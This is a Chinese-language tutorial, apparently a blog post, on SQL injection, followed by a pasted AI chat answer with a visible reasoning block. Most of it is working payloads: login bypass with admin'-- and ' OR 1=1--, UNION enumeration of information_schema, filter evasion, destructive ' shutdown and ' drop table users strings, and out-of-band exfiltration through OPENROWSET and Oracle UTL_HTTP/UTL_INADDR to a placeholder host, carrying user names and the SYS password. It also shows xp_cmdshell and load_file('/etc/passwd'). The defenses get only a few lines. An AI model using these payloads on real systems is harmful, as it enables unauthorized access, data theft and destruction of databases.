SQL注入

解释型语言和编译型语言:

解释型语言:运行是由一个运行时组件解释语言代码并执行其中包含的指令语言.

编译型语言:是由它的代码在生成可执行文件时换转成机器指令,然后在运行时直接由该语言的计算机处理器执行指令.

从理论上讲,任何语言都可使用编译器或解释器或来执行,这种区别不是语言本身的内在特性,通常大多数语言仅通过上述其中一种方式执行.基于解释型语言的执行方式,产生了一系列叫做代码注入的漏洞.

绕过登录:

这是一个测试项目 http://www.testfire.net/default.aspx 

在登录页面 username: admin' -- 密码随意填写 即可绕过登录. 

admin'-- 相当与查询SQL语言 select * from user where username='admin'--' and password='123'; 后面的将被注释掉.

mysql Oracle sqlserver 语法基本一样 只有一些细微的差别.

--Mysql没有Boolen类型, 不过 true 等于1 false等于0 这样我们就使用下面语句查询 即便不知道密码同样可以查出数据
select user, pass from users where user='admin' and true;
select user, pass from users where user='admin' and 1;
select user, pass from users where user='admin' and 1=1;

select user, pass from users where user='admin' and false;
select user, pass from users where user='admin' and 1=0;
select user, pass from users where user='admin' and 0;

--字符 类型转换
select user, pass from users where user='admin' and pass='password1'='password2';

pass='password1'='password2' 表达式是从左到右, pass='password1' 返回 0,查询的表中没有这个密码. 新的表达式0='password2' , =不能直接比较不同类型的两个值,password2会被隐士转换为double类型进行于0比较,但这个字母数字值不能被转换,会返回一个0, 最终表达式 0=0,结果为true. 不仅登录可以注入,任何查询数据库的地方都有可能出现注入.

不知道用户或管理员账户的情况下使用'OR 1=1--注入:

' OR 1=1--   #许多Web程序会在数据库中手工建立一个管理员 当提交注入的时候会,以数据库中第一个用户的身份登录.
select * from users where user=' ' or 1=1--' and pass='123';
select * from users where user=' ' or 1=1;

注册注入:

insert into users (user,pass) values('gg','1234');

不会只出现两个字段,这时只能猜字段. gg', 1234, 1234, 1234) -- 

修改功能:

update users set pass=123456 where user='gg' and pass=1234;

update慎用,这个更新字段可能会造成严重问题, 如果提交 gg' or 1=1-- 可能会造成整个表数据造成损坏.

删除功能:

delete from users where user='gg';
delete from users where 1;

delete更加危险,拼接sql gg' or 'a'='a' 就GG了......

查找SQL注入: URL参数,cookie, POST数据项, HTTP消息头等.

识别数据库:

在请求中提交特殊的值, Oracle 'serv' || 'ices'  SqlServer 'serv'+'ices' Mysql 'serv' 'ices'中间是空格.

数字数据求值为0 其它库报错. Oracle BITAND(1,1)-BITAND(1,1)  SqlServer @@PACK_RECEIVED-@@PACK_RECEIVED Mysql CONNECTION_ID()-CONNECTION_ID()

UNION操作符:

select user from users where user='gg' union select user from users where user='admin'; #将查询出两条信息

+-------+
| user  |
+-------+
| gg    |
| admin |
+-------+
admin' or 1=1 order by 1 # #猜字段 知道字段猜完
admin' union select 1,database() # #查当前数据库
admin' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #  #查表
aadmin' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #  

union select #还可以查另一个表中的数据 但必须字段相同

' union select NULL #  #NULl可以被转成任何数据类型 以此猜字段 
根据猜测的字段填补 字符进行测试 看是否正确
' union select 1, NULL #  Oracle 数据库 DUAL来满足条件

避开过滤:

有黑名单就很难进行注入,需要寻找其中的缺陷. select 关键字被禁止,可使用SeLeCt大小写的方式,在编码中加入%00等相关编码格式.还可使用SQL注解,/* */ 

带有GG的注入:

SQL注入虽然无法在错误页面看到有用的信息,但存在恶意的操作,可以进行关闭数据库删除表等等

' shutdown --    ' drop table users -- 

通过网路通道注入:

insert into oepnrowset('SQLOLEDB','DRIVER={SQL Server};SERVER=xxx.com,8080;UID=sa;PWD=letmein','select * from tables') values (@@version)

Oracle : UTL_HTTP可向其他主机提出任意HTTP请求,UTL_HTTP支持代理服务器,cookie,重定向和验证.

URL' || UTL_HTTP.request('xxxx.com:8080/' || (SELECT%20username%20FROM%20all_users%20WHERE%20ROWNUM%3d1)) --

UTL_INADDR将主机名解析为IP地址,可用于在控制的服务器中欧你生成任意的DNS查询.

URL '|| UTL_INADDR.GET_HOST_NAME((SELECT%20PASSWORD%20FROM%20DBA_USERS%20WHERE%20NAME='SYS')||'xxxx.com')

UTL_SMTP包可用于发送电子邮件,在出站电子邮件中发送这个包,可获得大量从数据库中截取的数据.

UTL_TCP包可用于打开任意TCP套接字.发送和接收数据.

MySql   OUTFILE命令可将任意查询的输出指向一个文件,指定文件名和路径.

通过攻破数据库提升权限:

xp_cmdshell 运行数据库管理员以cmd.exe命令提示符相同的方式执行操作系统命令

Oracle 可利用DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY  使用DBMS_JAVA.RUNJAVA  Java类来访问系统

MySql FILE_PRIV 可用以读取并写入文件. select load_file('/etc/passwd')

 

<think>好的,用户想要查找关于SQL注入的语句或示例。首先,我需要回顾一下SQL注入的基本概念,确保自己理解正确。SQL注入是通过在用户输入中插入恶意SQL代码来攻击数据库的一种方法,攻击者可以绕过认证、窃取数据甚至破坏数据库。 接下来,我需要考虑用户可能的真实需求。他们可能在学习网络安全,或者开发过程中想了解如何防范SQL注入。因此,示例不仅要展示攻击语句,还要解释其原理和危害,这样用户才能更好地理解和防范。 根据提供的引用内容,引用[2]和引用[3]提到了SQL注入的关键点,比如单引号的使用和注入点的查找。引用[4]给出了一个正常的SQL语句示例,这可以用来对比恶意注入的情况。需要确保示例覆盖不同类型的注入,比如字符型、数字型、布尔盲注等,这样用户能全面了解各种情况。 现在,我需要组织这些示例,每个示例都应有说明和攻击效果。例如,登录绕过是一个常见场景,用户输入中的单引号和注释符可以改变原SQL的逻辑。另外,UNION注入和基于错误的注入也是典型手法,需要详细解释如何构造语句。 还要注意用户提到的防御方法,这部分同样重要。用户不仅需要知道攻击方式,还要了解如何预防。参数化查询和输入过滤是有效的措施,需要简明扼要地说明。 最后,检查是否符合用户要求的格式,比如使用中文回答,正确使用LaTeX格式,生成相关问题等。确保每个示例的代码块正确,引用标识正确添加,例如在解释字符型注入时引用[3],在提到单引号处理时引用[2]。 总结一下,回答应包括不同类型的注入示例,每个示例的代码和说明,攻击效果,以及防御方法。同时生成相关问题,帮助用户深入理解。确保内容结构清晰,符合用户的需求。</think>### SQL注入语句示例与解析 #### 一、基础注入原理 SQL注入通过构造特殊输入参数改变原始SQL语义。当应用程序未对用户输入进行过滤时,攻击者可利用单引号$'$闭合原语句并拼接恶意指令[^3][^2]。 #### 二、常见注入类型与示例 1. **登录绕过注入** ```sql -- 原始语句 SELECT * FROM users WHERE username='$user' AND password='$pass' -- 攻击输入 用户名: admin' -- 密码: 任意值 -- 最终执行语句 SELECT * FROM users WHERE username='admin' --' AND password='xxx' ``` 攻击效果:注释符$--$使密码验证失效,直接以admin身份登录[^3] 2. **UNION查询注入** ```sql -- 原始语句 SELECT product_name FROM products WHERE id=$id -- 攻击输入 id=1 UNION SELECT username || ':' || password FROM users -- 最终执行语句 SELECT product_name FROM products WHERE id=1 UNION SELECT username || ':' || password FROM users ``` 攻击效果:泄露用户表敏感信息,使用$||$连接符组合字段[^4] 3. **布尔盲注** ```sql -- 判断数据库类型 ' AND 1=convert(int,@@version)-- ``` 攻击效果:通过错误信息判断数据库版本,convert强制类型转换触发错误[^2] 4. **时间盲注** ```sql '; IF (SELECT COUNT(*) FROM sysobjects) > 0 WAITFOR DELAY '0:0:5'-- ``` 攻击效果:通过延时响应验证条件是否成立(SQL Server特有语法)[^4] #### 三、防御方法 1. **参数化查询**:使用预编译语句替代字符串拼接 2. **输入过滤**:正则表达式过滤特殊字符如$'$、$--$、$;$ 3. **最小权限原则**:数据库账户仅授予必要权限 $$ \text{安全评分} = \frac{\text{防御措施数}}{\text{已知攻击类型数}} \times 100\% $$
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值